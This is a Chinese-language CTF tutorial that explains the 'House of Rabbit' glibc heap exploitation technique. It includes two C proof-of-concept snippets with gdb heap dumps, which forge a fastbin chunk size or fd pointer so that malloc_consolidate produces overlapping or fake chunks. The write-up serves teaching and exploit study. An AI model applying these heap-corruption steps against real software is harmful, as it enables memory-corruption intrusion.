House of Rabbit¶
介绍 ¶
House of rabbit 是一种伪造堆块的技术,早在 2017 年已经提出,但在最近两个月才在 CTF 比赛中出现。我们一般运用在 fastbin attack 中,因为 unsorted bin 等其它的 bin 有更好的利用手段。
原理 ¶
我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出。而 house of rabbit 就利用了在 malloc consolidate 的时候 fastbin 中的堆块进行合并时 size 没有进行检查从而伪造一个假的堆块,为进一步的利用做准备。
由于原作者的 POC 需要的条件较多,这里我直接介绍这个攻击的本质即可。
前提条件
: 1. 可以修改 fastbin 的 fd 指针或 size 2. 可以触发 malloc consolidate(merge top 或 malloc big chunk 等等)
下面来看一下 POC POC 1
: modify the size of fastbin chunk
unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x40); //0x602050
malloc(0x10);
free(chunk1);
free(chunk2);
/* Heap layout
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0x51 ('Q')
0016| 0x602010 --> 0x0
.....
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x51 ('Q')
0096| 0x602060 --> 0x602000 --> 0x0
0104| 0x602068 --> 0x0
......
0160| 0x6020a0 --> 0x0
0168| 0x6020a8 --> 0x21 ('!')
0176| 0x6020b0 --> 0x0
0184| 0x6020b8 --> 0x0
*/
chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1
malloc(0x1000); //allocate a large chunk, trigger malloc consolidate
/*Chunk1 overlap with chunk2 now
gdb-peda$ telescope 0x602000 100
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0xa1
0016| 0x602010 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...)
0024| 0x602018 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...)
0032| 0x602020 --> 0x0
.....
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x51 ('Q')
0096| 0x602060 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...)
0104| 0x602068 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...)
0112| 0x602070 --> 0x0
0120| 0x602078 --> 0x0
....
0152| 0x602098 --> 0x0
0160| 0x6020a0 --> 0xa0
0168| 0x6020a8 --> 0x20 (' ')
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x603450 (size : 0x1fbb0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x050) smallbin[ 3]: 0x602050
(0x0a0) smallbin[ 8]: 0x602000 (overlap chunk with 0x602050(freed) )
*/
POC 2
:modify FD pointer unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x100);//0x602050
chunk2[1]=0x31; //fake chunk size 0x30
chunk2[7]=0x21 //fake chunk's next chunk
chunk2[11]=0x21 //fake chunk's next chunk's next chuck
/* Heap laylout
0000| 0x602000 --> 0x0
0008| 0x602008 --> 0x51 ('Q')
0016| 0x602010 --> 0x0
......
0080| 0x602050 --> 0x0
0088| 0x602058 --> 0x111
0096| 0x602060 --> 0x0
0104| 0x602068 --> 0x31 ('1')
0112| 0x602070 --> 0x0
......
0144| 0x602090 --> 0x0
0152| 0x602098 --> 0x21 ('!')
0160| 0x6020a0 --> 0x0
0168| 0x6020a8 --> 0x0
0176| 0x6020b0 --> 0x0
0184| 0x6020b8 --> 0x21 ('!')
0192| 0x6020c0 --> 0x0
......
0352| 0x602160 --> 0x0
0360| 0x602168 --> 0x20ea1
*/
free(chunk1);
chuck1[0]=0x602060;// modify the fd of chunk1
/*
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x602000 --> 0x602060 (size error (0x30)) --> 0x0
*/
malloc(5000);// malloc a big chunk to trigger malloc consolidate
/*
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6034f0 (size : 0x1fb10)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x050) smallbin[ 3]: 0x602000
(0x030) smallbin[ 1]: 0x602060
*/
原理很简单,就是通过修改 fastbin chunk 的 size(如上面的 POC 1 所示) 直接构造 overlap chunk,或者修改 fd(如面的 POC 2 所示),让它指向一个 fake chunk,触发 malloc consolidate 之后让这个 fake chunk 成为一个合法的 chunk。
总结 ¶
House of rabbit 的优点是容易构造 overlap chunk,由于可以基于 fastbin attack,甚至不需要 leak 就可以完成攻击。大家可以通过例题的练习加深对这个攻击的理解。
例题 ¶
- HITB-GSEC-XCTF 2018 mutepig
- 待补充